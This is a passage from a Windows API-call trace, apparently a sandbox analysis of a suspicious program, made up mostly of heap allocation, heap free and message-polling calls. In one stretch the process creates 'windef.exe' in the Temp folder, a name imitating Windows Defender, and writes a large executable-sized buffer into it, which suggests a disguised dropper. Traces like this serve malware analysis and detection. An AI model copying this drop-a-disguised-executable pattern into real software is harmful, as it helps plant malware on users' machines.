hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b98 | out: hHeap=0xe80000) returned 1 [0135.559] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d90 | out: hHeap=0xe80000) returned 1 [0135.559] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0135.559] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0135.560] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e40 | out: hHeap=0xe80000) returned 1 [0135.560] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0135.560] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0135.561] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x104a988 | out: hHeap=0xe80000) returned 1 [0135.561] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0135.561] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10774f8 | out: hHeap=0xe80000) returned 1 [0135.561] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10775d0 | out: hHeap=0xe80000) returned 1 [0135.561] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0135.561] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0135.561] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077558 | out: hHeap=0xe80000) returned 1 [0135.561] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077528 | out: hHeap=0xe80000) returned 1 [0135.561] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0135.561] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed5c88 | out: hHeap=0xe80000) returned 1 [0135.562] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0135.562] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0135.562] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0135.562] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0135.562] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e68 | out: hHeap=0xe80000) returned 1 [0135.562] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077810 | out: hHeap=0xe80000) returned 1 [0135.562] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2418 | out: hHeap=0xe80000) returned 1 [0135.562] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf508 | out: hHeap=0xe80000) returned 1 [0135.563] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b20 | out: hHeap=0xe80000) returned 1 [0135.563] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0135.563] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0135.563] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0135.563] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1960 | out: hHeap=0xe80000) returned 1 [0135.563] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b08 | out: hHeap=0xe80000) returned 1 [0135.563] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0135.563] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1870 | out: hHeap=0xe80000) returned 1 [0135.563] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0135.564] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec18e8 | out: hHeap=0xe80000) returned 1 [0135.564] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0135.564] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.564] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2c8 [0135.564] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0135.564] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.564] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec950 | out: hHeap=0xe80000) returned 1 [0135.565] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.565] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0135.565] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2c8 [0135.565] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0135.565] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0135.565] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0135.565] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0135.565] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0135.565] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.565] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0135.566] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.566] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1870 [0135.566] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0135.566] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf338 [0135.566] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0135.566] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0135.566] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1870 | out: hHeap=0xe80000) returned 1 [0135.566] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.566] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.566] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf338 [0135.567] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0135.567] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0135.567] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0135.567] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0135.567] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0135.567] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec850 [0135.567] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.567] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec850 | out: hHeap=0xe80000) returned 1 [0135.567] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.567] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2c8 [0135.568] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0135.568] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.568] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.568] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0135.568] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0135.568] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0135.568] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.568] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0135.568] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.568] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf338 [0135.569] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0135.569] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.569] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.569] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0135.569] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0135.569] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec490 [0135.569] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.569] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1870 [0135.569] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0135.569] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0135.569] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0135.569] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec18e8 [0135.569] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0135.569] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0135.569] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0135.569] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0135.569] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1960 [0135.569] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b08 [0135.618] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0135.618] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0135.618] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf338 [0135.618] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.618] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0135.618] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2c8 [0135.618] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x50) returned 0x104acf8 [0135.618] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0135.618] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0135.618] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc0) returned 0xefc430 [0135.619] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x104acf8 | out: hHeap=0xe80000) returned 1 [0135.619] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0135.619] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.619] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0135.619] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0135.619] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0135.619] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0135.619] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0135.619] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0135.619] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec950 [0135.620] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10000) returned 0x107f3f8 [0135.621] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0135.621] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf338 [0135.622] CreateFileW (lpFileName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\windef.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\windef.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e4 [0135.622] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9eb8 [0135.622] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0135.623] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf378 [0135.623] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefc430 | out: hHeap=0xe80000) returned 1 [0135.623] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0135.623] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0135.623] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b08 | out: hHeap=0xe80000) returned 1 [0135.623] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0135.623] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0135.624] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1960 | out: hHeap=0xe80000) returned 1 [0135.624] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0135.624] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.624] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1960 [0135.624] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0135.624] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0135.624] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0135.624] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0135.624] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0135.624] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0135.625] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1960 | out: hHeap=0xe80000) returned 1 [0135.625] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.625] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0135.625] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0135.625] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.626] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec490 | out: hHeap=0xe80000) returned 1 [0135.626] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.626] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0135.626] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2c8 [0135.626] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.626] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.626] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0135.626] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0135.626] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0135.626] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.628] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0135.628] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.628] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0135.628] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2c8 [0135.628] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7cb8 [0135.628] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7cb8 | out: hHeap=0xe80000) returned 1 [0135.628] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0135.628] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0135.628] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0135.628] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.628] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1960 [0135.628] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0135.628] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2c8 [0135.629] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0135.629] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0135.629] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2c8 [0135.629] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0135.629] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x57400) returned 0x108f400 [0135.638] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0135.638] WriteFile (in: hFile=0x2e4, lpBuffer=0x108f400*, nNumberOfBytesToWrite=0x57400, lpNumberOfBytesWritten=0xbdf64c, lpOverlapped=0x0 | out: lpBuffer=0x108f400*, lpNumberOfBytesWritten=0xbdf64c*=0x57400, lpOverlapped=0x0) returned 1 [0135.647] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0135.653] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x108f400 | out: hHeap=0xe80000) returned 1 [0135.711] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0135.711] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0135.712] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1960 | out: hHeap=0xe80000) returned 1 [0135.712] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.712] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0135.712] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0135.712] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.712] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1960 [0135.712] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0135.712] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0135.712] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d90 [0135.712] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0135.712] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d90 | out: hHeap=0xe80000) returned 1 [0135.712] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0135.713] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1960 | out: hHeap=0xe80000) returned 1 [0135.713] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1960 [0135.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d90 [0135.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0135.713] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d90 | out: hHeap=0xe80000) returned 1 [0135.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2418 [0135.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b08 [0135.714] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d90 [0135.714] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0135.714] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d90 | out: hHeap=0xe80000) returned 1 [0135.714] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0135.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.714] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0135.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.715] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9c88 [0135.715] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0135.715] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2c8 [0135.715] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0135.715] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0135.715] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9c88 | out: hHeap=0xe80000) returned 1 [0135.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.716] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0135.716] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0135.716] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0135.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0135.716] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0135.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 